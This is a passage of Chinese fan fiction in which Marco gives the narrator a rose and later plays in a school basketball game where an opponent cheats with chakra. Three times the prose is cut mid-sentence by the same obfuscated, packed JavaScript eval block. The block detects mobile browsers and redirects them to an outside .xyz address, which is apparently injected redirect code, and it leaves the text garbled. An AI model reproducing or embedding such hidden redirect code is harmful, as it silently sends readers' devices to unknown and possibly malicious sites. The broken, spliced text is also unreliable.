他把卡卡西和修兵发来的照片全部保存到手机里,新建一个名为《好好学习》的文件夹集中储存。另取其中一张设置为手机屏保,再三保证会勤勉学习拍摄技巧、时时熏陶艺术细胞。 看在他向来良好的表现上,姑且可以放他一马。 我监督他把丑照删掉,不用全删,留几张日后对比,也像卡卡西这样,感受一下曾经的自己有多离谱: 《好好学习》和《小海豚》两个相册并行排列,都是系统随机抓取的封面,两张照片凑在一起,天差地别,人神共愤。 ——怎么能把人拍成这样?!这谁看了不生气? 我已经放他一马了,还是忍不住揍他一拳! 这一拳不敢用力,不痛不痒地打在他胳膊上。他不疼,马尔科偏头看我,忍俊不禁。 “哈哈,干嘛呀?” “哼!” “别生气了,大小姐。对不起对不起……给你这个。” “什么?” 他变戏法一样,忽然从身后拿出一个狭长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14686402|149401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的包装盒。 约莫四十公分长,却只有十五公分宽。轻飘飘的,拿在手里几乎没有份量。不像是抽到的冰淇淋球,我满是疑虑地打开——的确不是,里面静静躺着一支玫瑰。 红色,刺目像奔腾的鲜血,热辣滚烫,和这凄冷的天气格格不入。 它真美,即便一身荆棘。雾色蒙蒙,只会愈发彰显它的鲜活。 我不由得愣住了。 可是为什么会有玫瑰呢?我不理解,我们抽中的分明是冰淇淋球;马尔科去兑换的也应该是冰淇淋球才对—— 为什么?我望着马尔科,迫切地需要一个合理的解释。 “原本是奖励来着……”他遗憾道。 “奖励?” “嗯,奖励给最勇敢的小姐,”马尔科低着头,无比谦卑而真诚道,“现在的话……对不起,先原谅我吧?” “……” 这叫我怎么拒绝呢? 他知道错了,态度又很好;也承诺改正,还送我玫瑰。 “……真是的。” 我要嗔责他一句,就一句。笑容在我脸上绽放,难以自抑。 “谢谢你的花,我很喜欢!” “那……可以原谅我了吧?”马尔科小心询问。 “嗯。”我点点头,原谅他了,反正也不是真的生气。 我只会感到惊喜—— 玫瑰又香又美。无数的故事里,它总会代替有情人吐露心声。 我从未拥有一朵自己的玫瑰,这是我人生里的“第一次”。 卡卡西曾许诺我,要在家里的院子里种一片玫瑰园,等到那一天,就把所有的玫瑰都送给我。但他种植技术很差,直到现在我还没有收到…… 在年复一年的探索中,我发现他种植的并非玫瑰,而是一种名为“卡罗拉”的月季。月季和玫瑰同属于蔷薇科蔷薇属,有近亲关系,模样有九分相似,“卡罗拉”月季又是杯型、大红色,无论外形还是颜色都和玫瑰十分还原。 两者难以分辨,常常混为一谈。 真正的“玫瑰”带有浓郁的玫瑰气味,一年只开一次,花期短,盛开时轰轰烈烈,花开后很快衰败。代表爱情的鲜花,也像爱情一样难以维持。即便做成切花,也约莫只有半小时的赏味期,最多一天就会显出衰态。 而它的“亲戚”月季却拥有着以假乱真的姿态,可长期保存的商品优势……自然而然地李代桃僵。 不少花店里出售的所谓“玫瑰”,实际都是月季。 但这是一支真正的玫瑰。 尽管只有一支,可它是真的。马尔科深谙植物学,他认得,会辨真伪。 见我爱不释手,他明知故问:“喜欢吗?” “喜欢!” “……刚才去换冰淇淋,见到有人在售卖野玫瑰。其他的都死掉了,只有这一支还可以拯救。” “拯救?”我愣了愣,“怎么拯救?” “这样——” 趁着左右无人,马尔科飞快地往花苞里塞入一点火焰。 指尖轻点的一瞬间,玫瑰徐徐绽放,虽然只有一朵,浓浓的香意也营造出了春色满园的惊艳。 “花也可以治疗吗?!” 这太不可思议了,我啧啧称奇。 并非询问,而是惊叹——马尔科会魔法!不死鸟的火焰是滋养的魔法!竟然连生命的衰败都可以回溯! 他托着下巴,低声笑:“在船上没有办法给蔬菜保鲜……经常这样处理。” “可以保存很久吗?” “可以啊,”他肯定,“只有一朵花的话……每天处理,保存三、五个月没什么问题。” “!”我震撼不已,“玫瑰很难保存的!” “嗯,是啊,”马尔科点着头,“真奇妙,花店都找不到玫瑰,今天反倒是在路上见到了……” 于是他忍不住买了一朵,即便不知道原因。 “我知道。” “你知道?” “嗯,”花香幽幽地沁人心脾,我扬着笑,情不自禁,“很简单,因为春天来了呀!” 春天并不仅仅存在于我的眼睛里,无论人们想或不想,它总会到来,总会抵达每个人的眼睛。而当春天来临,情人节也悄然而至。 玫瑰当然不会凭空出现,除非有人需要它。 “……对吧?”我问马尔科。 “嗯,有道理,”他望着我,微笑赞同。 41.18 队长(1) 开春以后,学校也要开学了。 理论上,寒假从一月中旬放到二月中旬,整整一个月时间;但实际上,上一学期挂科的同学会提前返校进行补考,教职工们也将同步返校组织考试,早在二月打头,校园里已经恢复了日常运营。 整个寒假,马尔科都在家里勤勉自学;年关一过,他一口气申请了十二门结课考试。 老师们尚未返岗,来不及单独出试题,建议他参加补考——别人补考,他初考;不看形式,只看成绩。 “这样啊,那没问题,”马尔科欣然答应。 “……”我默默缩进被子里。 他都答应了,没办法,我只能接受——学校尚未正式开学,我们却再次开始了早起的生活。 春天的确来了,可天气并没有转暖。 一场连绵不绝的冻雨使得天空又萦绕起隆冬的滋味,即便人间大地回春,四处都已弥散开生机盎然的气息。 学校里人并不多,欢声笑语却肉眼可见地变多了。年前求之不得的校园CP,开春后也如雨后春笋一般,频繁出现在教室、走廊、操场各地。 马尔科答应我,等他考完试,就带我去篮球场嗑真CP。 他是了解我的—— 补考选在上午进行,不是早八,胜似早八。 考前三天,我开始调整作息,挣扎着试图早起,但碍于被窝过分温暖,与我缠绵到底难舍难分,一连三天的尝试都以失败告终。 我缩在被窝里“呜呜”,马尔科笑我:“大小姐……起床有这么困难啊?” “嗯!”我抱住他,“是被窝的诱惑太大了!” “那怎么办呢,”他也抱住我,下巴抵在我发顶,喃喃自语,“学校里可以嗑CP诶——” “……真的么?” “真的啊,等我考完试,我们就去球场嗑CP吧!” …… 那好吧,被窝固然很温暖,但嗑CP使人进步。人不能贪图一时享乐,要进步才行! 想来求学之路如此艰难,而马尔科始终不畏艰险,迎难直上。不仅是马尔科,天这么冷,过去七年里,修兵和卡卡西也照样早起,工作,从不喊累。 他们都很优秀,作为一家人,我也不可以太差劲。 天气再冷又能怎样,没关系,我咬咬牙,燃起来了! …… 感谢马尔科,我终于在考试当天找回了规律的作息。 第一步总是最难的,只要迈出一步,第二步、第三步自然纷至沓来。 他的考试要持续五天,第三天起,我已经可以做到如常早起,如常去教室看小说,如常去食堂吃饭…… 眼看着日子一天天逼近,再有两天就能去球场嗑CP了。放学路上,我和马尔科聊着天,双双往球场多看了一眼,再一回头,球场上的人居然在前路堵住了我们。 对方有四人,清一色的人高马大,摆明在这里守株待兔。因为天落着雨,而他们头顶和肩上却没有。 “同学你好!你就是马尔科吗?”带头的一个自来熟,扬着笑脸迎上来了。 “是的,请问你们是?”马尔科一边回话,牵我的手顺着动作,把我往身后带了带。 我便默不作声地退到了他身侧,听他们说—— “呃,是这样。我们是校篮球队的。那个……下周我们和隔壁市的校队有一场比赛,但是过年期间我们队里遇到些意外,好几个队员现在都在医院住着,不能上场,听说你篮球打得好,能不能邀请你一起参赛?” 马尔科篮球打得好是事实,但这件事理论上只有卡卡西和我知道。 有点奇怪,我蹙了蹙眉。马尔科也第一时间问起:“你从哪里听说的?” “——啊,这还用说吗?”几人纷纷反问,笑得尤为纯真,“上个学期,你参加了篮球考试,比赛视频在学校论坛里,点击量超高的!” “哦,是吗?”马尔科扶了下眼镜。 几人七嘴八舌地描述,听说这段视频在校园论坛里广为流传,在男生群体里相当有人气。可惜新年期间,马尔科忙着学习,许久不曾翻阅过。 他不知道。连他都不知道,我更是无从得知。 几位不遗余力地向我们解释:“你在医学院也很出名啊!” “有吗?” “有啊!医学院的新生马尔科——超有名的!” 一群人絮絮叨叨地讲述,为首一个望着马尔科,眼睛里闪烁着耀眼的星辰。 那种表情我再熟悉不过了,和卡卡西一起生活时,我总会各个角落发现它——是迷弟啊,马尔科有迷弟了! “你真的很出名!你都在《当代医学》上发表论文了!” “拜托,那可是《当代医学》,医学界的泰斗刊物!” “我们经理也是医学院的,还跟你一起上过课,她跟我们说过——只有顶尖的教授才有资格在《当代医学》发表论文,连我们学校医学院院长也才在《当代医学》发表两篇文章,你都已经发表两篇了!” “啊?是这样吗……”马尔科一无所知。 “是这样的!”大学生们热情洋溢,“你的论文被医学院老师们发到校园网,整个医学院都拜读过了——上学期期末,我们经理还引用了!” “你可是医学院公认的学霸诶!” “是啊是啊,学校里早就传开了!最高科学院还有一个‘教授’名额,指不定就是我们学校的马尔科!” …… 大学生朝气蓬勃、激情四射,果然像是初升的太阳。 迷弟们围着马尔科叽叽喳喳地讨论,不管是不是医学院出身,这一刻,仿佛都化身成了医学人。马尔科论文里出现的一系列拮据敖牙的医学名词,他们无一例外地如数家珍。 我听不懂他们交流的内容,只知道原来马尔科发表论文的杂志是医学界的权威刊物,他自以为“平平无奇”的两篇论文,其含金量足以让他从“学生”一跃成为“教授”。 我就知道!是金子,假以时日,会发光的! 真了不起,我们家马尔科! 我为他高兴,情不自禁地抿了唇。 马尔科不知怎的,忽然偏头看我,引得一群人戛然而止,纷纷注意起我来—— 原本是一米八对两米的仰视,这一下,忽然变成对一米八对一米六的俯瞰。 篮球队员的个头真高,他们看着我,像看着校园里的小猫小狗——明明是毫不相关的陌生人,偏偏毫无缘由地展露出亲切可爱。 我不笑了,我不喜欢和陌生人接触。 尤其是这类太过天然的清纯男大学生,过分热情,让我难以招架。 他们却纷纷地咧开嘴—— “……噢,这就是你女朋友吧?!” “哇,真的好漂亮!” “医科学霸和清冷美女!经理天天在我们耳朵边上唠叨,听说在校园论坛上超火的!” …… 有人在讲话,可语速太快,我分不清是谁。 “好了,”马尔科叫停了他们的亲切,把我藏到了身后。 “说说球赛吧,”他正色道,“所以,你们想让我补位?” “不不,”几人异口同声,“听说你没有参加社团,我们是想邀请你加入篮球队!” 加入校篮球队好处颇多:可以拥有校内超高人气、可以享受学校校队补贴、可以享受每年两次的旅游、每月一次的聚餐、可以交到一辈子一起打球的朋友……他们不遗余力地推介,马尔科一口回绝。 “不了。” 他决绝的话语冷酷得颇有几分修兵的风采。 学生们的热情瞬间被冰冻了,直到马尔科放出口风,比赛的事可以再谈谈。 “……好吧,那比赛一定要帮帮忙啊,拜托了,马尔科!” “是啊,真的拜托了!大学联赛每三年举办一次,一次要管三年的排名!我们学校已经连续输了两届,今年要是再输,就要沦为地区赛之耻了!” 那是天大的耻辱,使人不约而同地咬紧牙关, 成长有时候只发生在一瞬,就这一瞬,风华正茂的学生们突然变得沉稳了几分。 “真的,拜托了。我们的实力并不差,就是运气差点……” “上上届没有经验,不知道能带编外人员,我们没有经理,打入晋级赛以后没人负责安排住宿。情急之下集体睡了大巴车,结果第二天全部感冒,输了比赛;” “上届比赛,我们有了经理,经理也安排得很好;哪知道赛前突然有队伍退赛,比赛次序重新调整,又要去隔壁市,来回要三天时间,这个时间跟期末考撞上了,好几个替补都没办法参赛;人不齐,关键时间队长扭伤了脚,又没有人可以顶上;” “我们觉得隔壁市有点邪门——这届比赛,好不容易撞上了主场作战,以防万一,大年初一我们集结了队伍,去寺里上香祈福……” “人太多了,没有提前预约,我们一群人进不去。去寺庙的路上,经理看见孤儿院要带孩子们去市里参加活动,我们商量了,临时决定当一天志愿者,做好事祈福……” …… 姑且不论做好事能不能祈福,大年初一、去市里、参加活动。 三个关键词一出,加之他们早说了“运气差”,我隐隐生出不好的预感。 大年初一,我们也去市里参加了活动。 下午在广场上抽奖,马尔科奖励我一朵玫瑰,我们去商场替它挑选花瓶……一直逛到晚上,修兵找来优惠券,卡卡西赞助我们去观景台吃自助餐,近距离欣赏烟花秀。 三楼并不算高,寒风猎猎刮过,却有如刀割。 我缩在马尔科的外套里,看着楼下人头攒动。密密麻麻,恍若蝼蚁。 悠扬的乐声渐渐消失在绚丽的烟火里,我们也在灿烂的花朵中忘怀自己。 不多时,侍者前来提醒,广场里发生踩踏事件,离开时请走地下通道,不要经过广场。 “…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14711628|149401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 踩踏事件?”马尔科眉头皱了皱,下意识撇了眼楼下,“严重么?” “不太清楚。不过办事处的工作人员已经赶到了现场,广场上暂时管制,安全起见,离开时请您二位走地下通道。” “好的,知道了。谢谢你。”马尔科目送他离开。 “你想去吗?”我看他蠢蠢欲动,身上隐隐闪动着人性的光辉——那光辉远比天上的烟火更加绚烂。 “我不去,”马尔科微微一笑,轻手拢着我额前的碎发,“办事处的工作人员不是已经去了吗?这里太乱了,我得留下来保护你。” “好吧。那谢谢你。”我也谢谢他,像他感谢侍者一样。 “哈哈,大小姐,你谢我什么啊?”马尔科咧着嘴笑,“说起来,办事处的工作人员……卡卡西也在下面吗?” “不知道,或许吧。怎么了?” “没有。我只是在想……卡卡西真有远见,如若不然,我们也在楼下呢。” …… 那天马尔科感叹——卡卡西极有远见,知道人群密集处易出祸端,所以不惜一掷千金,也要请我们上观景台欣赏烟花。 今日看来,的确如此。 卡卡西不仅很有远见,还会给人带来幸运。 兴许“观景台赏烟花”就是他对我们的祝福。因为倒霉不会消失,只会转移。 不幸的人就在我们面前,声泪俱下—— “……初一那天真的很邪门!” “上香没有成功也就罢了,我们带着孩子们在广场看烟花,然后莫名其妙地出了踩踏事件。孩子们都很害怕,我们当然是保护他们了……结果队里好几个进医院了。” 屋漏偏逢连夜雨,现在整个篮球队就剩下面前四人: 没有队长,队长在医院里躺着,伤得最重,有轻微脑震荡,必须住院观察; 没有替补,替补也在医院里躺着,伤得最轻一个也被警告得修养至少半个月; 没有教练,教练躺在队长隔壁,不仅躺着,还要写报告解释为什么大赛前整个球队全军覆没。如果解释的不好,指不定要面临被解雇的风险; 没有经理,经理自己住院不说,还要照看一屋子病患安心修养,莫再因为心急惹出事端。 “拜托了,连续输了两届,今年我们没有招到新人。队员名额有一个空缺,如果你愿意,只要把你的名字填上就可以参加比赛——” “真的拜托了,马尔科!我们只能找你帮忙!现在这种情况,我们几个都得打全场,你技术好、体力也好,除了你,别人跟不了!” “真的真的,拜托了!就算输了也没关系,但至少我们不能弃权啊——” …… 几个学生一番极力请求,论境况确是舍他其谁。 马尔科听完原委,嘴上没有答应,面上显着迟疑——我知道他会帮的,他心软,一身人性的光辉。 据说比赛在下周,下周马尔科不考试,时间上并不冲突;但眼下球队尚缺一位后卫,马尔科的位子是前锋,有些冲突。 不幸使这支球队“支离破碎”,即便散兵游勇,也徒有一腔热血。 临阵磨枪已经足够将就了,队员们商量起还可以“将就”着调换岗位…… 事情和我无关。但这番言论属实太过刺耳。 我听不下去,拽了拽马尔科的胳膊,提醒他:“你聪明,可以打后卫。” “……唔,”他真的很聪明,目光一对上,当即明白了我在说什么。 位子并不是问题。 在此之前,马尔科一直打前锋,因为我推介他打前锋,一来前锋最适合他,二来我们家缺一个前锋。 但那只是我们家情况特殊,毕竟家里另外两位的体力远远不及马尔科,相较而言,头脑和技术更好使,所以分工合作,每个人都选特长项目,马尔科分到了前锋—— 撇开团队合作不论,单看个人能力,马尔科打后卫没有任何问题。 他很聪明,有指挥调度的领导力,会审时度势,修兵和卡卡西能做到的,马尔科也能做到。 我绝对相信他的实力。 “好吧,”马尔科当仁不让,只是担心我,“那我和他们打球,你可以吗?” “嗯,可以,”我点着头,可以接受,但有条件,“我要坐教练席。” “好,知道了,”他摸了摸我的头。 我们早早约定过,他去打球,我去嗑CP,我可以一个人待着,前提是要离他很近,不可以把我一个人丢在人群里。 马尔科记得,这也是他唯一的要求。 “帮忙可以,不过我自己的教练要坐到教练席。如果我在场上打球,她在观众席被人搭讪——那我恐怕没有办法打球,我的球会打人。” 几人看看他,又看看我,心照不宣地笑道:“明白明白!这没问题,坐到教练席,没有问题!” “那好吧,”马尔科答应了,“给我个联系方式,比赛的事线上联系。” 42.18 队长(2) 那天以后他们没有再碰过头。我并不知道他们究竟在线上沟通了些什么—— 一周后,球赛如约而至。 队长和教练仍然在医院里躺着,现场除了四名队员,只有球队经理出席——是个可爱的女孩子,身残志坚,赛前一小时她跛着脚出现在体育馆,一走一跳,像只兔子。 她负责后勤保障,早早准备了物资,让队员们顺手捎来;自己背着硕大的药箱,甚至还要兼职做队医。 “下午好!大小姐!” 我看着她在人群里穿梭,一一确认过队员们的身体状况后,刚舒一口气,眼神蓦然和我撞上,又马不停蹄地过来和我打招呼。脸上带着大病初愈的疲惫,但笑得很甜,和马尔科一样,染着人性的光辉。 听说她也是医学院的学生,和马尔科同期修习过《病理学》。可惜我对她“同期”的身份毫无印象——马尔科总换教室,同期多不胜数;说起《病理学》,我只会想起那对写在黑板上的好嗑CP。 “嗯。你好。” 我点头示意,让她坐。 马尔科有言在先,原则上,任何人都不要靠近我;但椅子很长,经理可以坐,有足够的空间,而且她上过《病理学》,指不定知道那对传说中的CP! 那对CP我至今也没有嗑到,冬去春来,耿耿于怀不会消减,只会与日俱增。 “……” 她在偷看我。我一回头,她笑吟吟的眼神倏然和我撞上。 我不擅长社交,不知道要怎么开始搭讪?眼神交汇间,她微微一愣。我想这是很好的机会,装作不经意地问:“有人在《病理学》的黑板上写了一对CP,你知道吗?” “啊?”她瞠目结舌,支吾着,“呃,这个……不、不知道。有这种事吗?哈哈、哈哈哈!” “……” 那插科打诨、闭口不谈的样子并不像是不知道,我看她是不想说。 “不想说”分两种情况:一种是内容涉密,不可说;第二种是可说,但不想和我说。 ——嗑CP有什么不可说的?只要不当着本人嗑,应该都没什么问题吧? 所以经理不想说,一定是第二种情况。 好吧,我理解。偶尔会有这种情况发生,我和修兵天生冷脸,不讨喜,两人站在一起,卡卡西形容我们“俊男靓女十分养眼,但不认识的话,就算是他也只想绕着走”。 眼下大概就是这种情况—— 我绝对没有凶她,只不过问了一句,就一句,经理把头转过去了,再不看我。我若执着看她,她甚至杵起拐杖,蹦蹦跳跳地走了。 “……” 社交真的好麻烦。我果然很不擅长。 好在今天的重点不是嗑CP。没关系,这次不行,下次再嗑。今天先做好今天的事! 马尔科在体育馆入口和主办方沟通着相关事宜。 这场比赛,他将作为代理队长上场。而我挂着教练的胸牌,名正言顺地坐在教练位子上,但并不负责指挥,而是马尔科的专属摄影师。 我们家的共享相册里唯独缺少马尔科的部分。 为此,我特别找卡卡西借了微型摄像机——办事处专用款,性能极佳,安装在我的单片眼镜里,既时尚又便捷,一扶眼镜就可以随时捕获精彩画面。 赛前半小时,体育馆大屏幕滚动播放出战双方的参赛背景。 我等着拍摄马尔科的名字,然而久等未至。大屏幕反复强调的只有我方队伍作为“地区赛种子选手”,曾多次在“校园邀请赛中力压冠军队”,“实力不斐”名副其实。 “……” 什么!我惊住了!他们居然真的有实力! 说来惭愧,我对校篮球队所知甚少。听闻一些求神拜佛的经历,再见到身兼多职的经理,我只会合理地对这支队伍的专业性提出质疑? ——电视剧里不都这么演吗? 乐队经营不佳,所以经纪人分身乏术。 但现实不是电视剧,倒像是校园竞技小说。 ——小说里不都这么写吗? 新星球队必备一位全能的经理,一位小事上未必但大事上一定靠谱的队长,以及旗下一帮除了篮球一无是处的热血笨蛋。 之所以有实力却没有运气,是因为充满戏剧性才可以成为主角;不用担心他们会输,在真正的热爱面前,失败是成功之母。 哨声响起,比赛开始。 一切如我所料—— 文无第一,武无第二。没有人甘愿一输再输,球队也一样。 经典热血番的桥段出现了:弹尽粮绝最能磨炼意志,支离破碎间,信念会可以给人背水一战的勇气。破釜沉舟,无所畏惧,自然披荆斩棘,无以为敌。 我方队伍有如猛虎下山,主场优势展现得淋漓尽致。 是经理的功劳—— 正式开场前,整齐划一的横幅出现在体育馆,这当然不是篮球笨蛋能想出的主意,真正的篮球笨蛋全在赛场上拼搏; 是队长的肯定—— 马尔科是临时加入的“替补”,初次亮相,却有全场球迷声势浩大地高呼其名;这其中少不了球队的推波助澜。 “马尔科!” “马尔科!” “马尔科!” …… 主场作战,我方每一颗进球都会掀翻全场。欢呼声排山倒海,齐齐奔着马尔科来。 马尔科亦是当仁不让。 他个子高,肢体协调,运动神经发达,体能出类拔萃,即便在众多校队成员的簇拥中仍有一骑绝尘的表现,而体能之外,他甚至比一众体育特长生多出了一份智慧—— 每每稍有端头,最多一球,马尔科会立即觉察,当下调整战术。沉着冷静的表现,有条不紊的指挥,让他毫不意外地成为了篮球场上最靓的仔。 开局五分钟,我方连掉十分;比赛结束,我方反超二十分。 胜利,无可争议;而这其中的差距,是马尔科队长带队有功。 “马尔科!” 球赛一结束,校篮球队不着急签字领奖,又把他叫住了。 这次连同经理一齐来当说客:“马尔科,你也没有加入社团,要不要加入我们篮球队啊?” “谢谢,我还是不要了。”马尔科一口回绝。 人群层层叠叠。我见他拨开重重迷雾,闪着光,迎着我走来。 “大小姐——”他远远地叫我,大声呼唤,“冷不冷啊?等这么久。” 天气冷,我给他羽绒服,他没有接,倒是顺手一拉,把我连同羽绒服一起裹进怀里。 周遭喧哗不息。马尔科扣着我后腰,充耳不闻。 我抬起头,大声同他讲:“马尔科,你果然是最帅的!” 马尔科微微一愣:“很帅吗?” “嗯,很帅很帅!”我肯定道。 这是我第一次参与学校的篮球赛。 在此之前,我只作为家属,和卡卡西一起出席过修兵的球赛。 职场球赛和校园球赛天差地别:成年人的情绪内敛,整场比赛也听不见几次喝彩;不像学生们,情绪饱满,活力四射,一场比赛四十八分钟,每一分每一秒体育馆内都在纵情燃烧。 欢呼声沸反盈天。 虽然马尔科接触篮球的时间尚短,但身为“天才”卡卡西的关门弟子,他的球技可是出类拔萃。 灌篮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14765742|149401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 充满力量,投篮富含技巧。临危不乱,独挑大梁。 比赛非常精彩。全场都在为马尔科欢呼,我也在。 “真的好帅气!”我在为他欢呼,关键分上,我都默默握紧了拳头。 “是吗,”但他挑了眉,嗓音闷闷的,“可你都没有在看我打球啊?” “我看了——” “你没有。” “我看了!” “你没有,你明明在看对面的队长!” “……”糟糕,他发现了! 我百口莫辩,我是看了对面的队长,但不是他想的那样! 他嗓音沉闷,脸色也不好看。我从来没有见过这样的马尔科,闷闷不乐的样子使我不得不解释几句—— “不是不是!听我解释!” “那你解释吧——”他调子幽幽的,神色亦然,“为什么盯着人家看?他长得帅是吗?” “……”我不是,我没有,真的不是他想的那样! 马尔科去更衣室换衣服,我也跟着一道去了。四下无人,隔着一道木门,我告诉他真相:“那是一个潜在能力者,已经能熟练运用能力了……我在看这个!” 已经拥有非常能力的人,在经过边境管理处时,会被判断为“能力者”,因其存在强大的破坏力,必须接受管理员监管。 所有能力者无一例外。 但火影世界存在着一些到来后,才逐渐修炼出查克拉的人。这种人在过境时不能被办事处的机器识别,被称为“潜在能力者”。 他们不受监管却掌握能力,一定程度上会对社会安定构成威胁。 我看对面的那位队长就很有“带来危险”的潜质——我承认我是多看了一点,但绝对没有不看马尔科的意思!更没有嫌弃他没有对方帅气的想法! “我有在看你比赛!真的真的!” “……好吧,事出有因的话,原谅你了。” 隔间传出他轻柔的笑声,马尔科打开了更衣室的门,神色如常。 我凑上去确认是否真的翻篇,他一把拽住我—— “不过有一点我不明白?再解释一下吧,大小姐。” “什么?” “可是卡卡西的那种能力,不是可以纹丝不动吗?那个人也没有这种定力啊——” “当然了。那个人又不是卡卡西。” 刚培养出能力的人,和顶级忍者之间当然有差距。 能力者根据能力产生时机不同,首先分成“原初”和“后天”两大类。 “原初”能力者,过境即得能力者身份;而“后天”能力者,过境时是普通人,是在社会里逐渐觉醒、且掌握了能力。 所有能力者都要接受管理员的监管——严格来说,这条法则只针对所有“原初”能力者。绝大多数情况下,原初能力者的能力水准远远大于后天类型。 而“后天”类型的能力者也要分成两类: 一类能力水平突出,破坏力强,会接受“原初”的待遇,分配管理员;而剩下大量有能力,但能力本身微乎其微、聊胜于无的能力者为二类,其能力不对社会稳定构成太大的威胁,只需要在办事处登记,接受定期体检即可,不分配管理员,也不参与办事处服务,如常生活即可。 原则上,即便是二类能力者,也要尽量避免在大庭广众之下使用能力。 对方的队长显然在律法的边缘危险试探。 “……这个人有潜在风险,放任不管的话,容易误入歧途,危害社会安全。”我跟马尔科讲。 他愣着不动,笑问:“大小姐,你不是怕麻烦吗?” “是啊!” “你到底哪里怕麻烦?” 43.18 队长(3) 我真的怕麻烦,听到“麻烦”两个字就害怕,恨不得躲远点。 可是此一时彼一时,眼前的情况较为特别—— 去年的事情不就是最好的证明? 普通人犯事,不论大小,一旦定罪,二十四小时内办事处必将罪人缉捕归案;而潜在能力者却可以辅助罪犯行恶,躲避办事处追查,甚至他们自己就带着最大的不安定性。 我观察了许久,整整半场球赛都在思考,我想对面那位队长具有相当的危险性: 首先,他有能力: 我发现他似乎有能力,对他多了一份关注,从他脚下的动作可以判断,他是有的,且不是灵力,是查克拉; 其次,他运用自己的能力,谋求私利: 打前锋、中锋一类的对抗位,免不了有对抗动作和行为;而他打的是中锋,半个对抗位,但在篮下的对抗中他在脚底生成查克拉,使自己“不动如山”,当然是一种犯规。 ——他是故意的。查克拉不会主动在他脚底生成,是他自己调动了查克拉。 而且查克拉和灵力一样,不会被监控拍摄,也不会被普通人察觉。 他这样做,只要现场没有能力者和管理员,就不会被发现。而管理员和能力者出现在普通人的生活里极低,所以他大可不必顾虑那万分之一的概率,做便做了,一本万利。 然后,在利益的驱动下,他为谋私利,不惜伤人: 一场双方十人的对抗赛,唯独他一个人在比赛中接二连三的从中作梗; 在我方大前锋连连被判罚后,马尔科调换了位子,自己顶上了前锋;对方仍然没有收敛的意思,已经伤及我方一位队员的前提下,又连续三次撞击马尔科肋下—— 一次可以是意外、两次或许是碰巧、三次只能是板上钉钉的有意为之。 最后—— 这不过是一场篮球赛而已,无论输赢,都不会天塌。学生时代也不过是人生中短暂的一趟旅途罢了,它不是结束,只是开始。 在浩瀚的宇宙里,天地也不过偏安一隅;在亘古的岁月中,百年只是须臾一瞬。 为当下一点蝇头小利,不择手段,非蠢即坏。这样的人若不加以引导,任由发展,祸害无穷。 我真的讨厌麻烦,听到就害怕,恨不得躲远点。 但是没有办法,我是管理员。危难当前,唯有责任。 “……他叫什么名字?” “嗯?” “记一下他的信息,等回家举报他。” “好,我看看。” 对方球队输了比赛,已经离场了。信息不好寻,马尔科翻着手机,试图翻找赛前赛事组发来的对战名单。我凑在他跟前等待,闲暇时伸手摸了摸他的羊绒背心。 “怎么了?”他伸手过来揽我。 “没什么。”我缩到他臂弯下,抱住他腰。 我只是猛地回想起比赛的过程……想来那人又坏又蠢。 自欺欺人,以为能瞒天过海;怎么可能呢,一件事要想不被发现,除非不曾发生。 我只是有点笨拙,又不是眼瞎。 学生们当然感受不到查克拉的附着,但我的眼睛可是清清楚楚、真真切切地看见了。既然看见了就不能装作没看见,既然发现了就不能装作没发生。 作弊已经足够恶劣,他还恶意撞击马尔科,连撞了三下! 是可忍孰不可忍。越想越气,我决定了,不等回家,就现在,我要亲自举报他! 说干就干,我从马尔科口袋里掏出手机,开始给卡卡西发消息。 “呼叫卡卡西!” “嗯?”他秒回,“卡卡西到!” “什么事啊大小姐?” “我要举报,有坏蛋,把他抓起来!” 春回大地,万象更新。又到了一年一度的考核时间,最近,卡卡西正在办事处处理这事。 管理员为办事处服务,每年都要接受办事处的考核。 我的名次较高,考核级别是“特级”;特级享有最高薪资待遇水平,但每年必须完成“特级”指标——在一个日历自然年内,协助办事处完成任务,任务佣金达到“百万”——否则,就会向下降级。 一百万本身不难,我的两率一分好看,有修正系数1.5,实际完成六十七万左右即可。 六十七万也不难—— 办事处的差事分为S和ABCD两类,前者危急,只能由前一百位管理员接取,后者较为大众,没有危险性,人人可接;相邻级别间有十倍的佣金差异,D级一百块一次,往上C级最高一千块;B级最高一万块;A级最高十万块;而S类个个都在百万以上。 S类里面又分S/SS/SSS三种,佣金价格也是成倍递增。 卡卡西这次处理的抓捕本是A级任务,由于没有人可以接,悬赏金上涨十倍,也即成了S级别的任务。 S类任务保密系数极高,所以那时候,卡卡西并未直抒胸臆。但我和修兵对办事处的任务有所了解,对卡卡西本人更了解,他不用说,不说我们也懂。 …… 总之,去年那一个任务就完成了一整年的指标,保证了我今年仍然能享受“特级”待遇。 而今年才刚刚开始,卡卡西已经按捺不住热烈的工作之魂,整天泡在办事处找活干。 